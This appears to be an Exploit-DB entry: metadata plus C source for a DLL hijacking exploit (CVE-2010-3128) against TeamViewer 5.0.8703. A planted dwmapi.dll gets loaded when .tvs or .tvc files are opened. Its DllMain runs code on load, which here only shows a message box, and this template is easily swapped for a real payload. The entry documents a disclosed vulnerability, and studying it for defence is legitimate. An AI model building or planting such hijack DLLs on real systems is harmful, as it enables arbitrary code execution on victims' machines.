TeamViewer 5.0.8703 - 'dwmapi.dll' DLL Hijacking
Author: Glafkos Charalambous
type: local
platform: windows
port:
date_added: 2010-08-25
date_updated: 2010-08-25
verified: 0
codes: CVE-2010-3128;OSVDB-67482
tags:
aliases:
screenshot_url:
application_url: http://www.exploit-db.comTeamViewer_Setup.exe
/*
Exploit Title: TeamViewer <= 5.0.8703 DLL Hijacking Exploit (dwmapi.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: 5.0.8703
Tested on: Windows XP SP3 En
Vulnerable extensions: .tvs .tvc
Greetz: Astalavista, OffSEC, Exploit-DB
*/
#include <windows.h>
#define DllExport __declspec (dllexport)
BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}
int dll_hijack()
{
MessageBox(0, "TeamViewer DLL Hijacking!", "DLL Message", MB_OK);
return 0;
}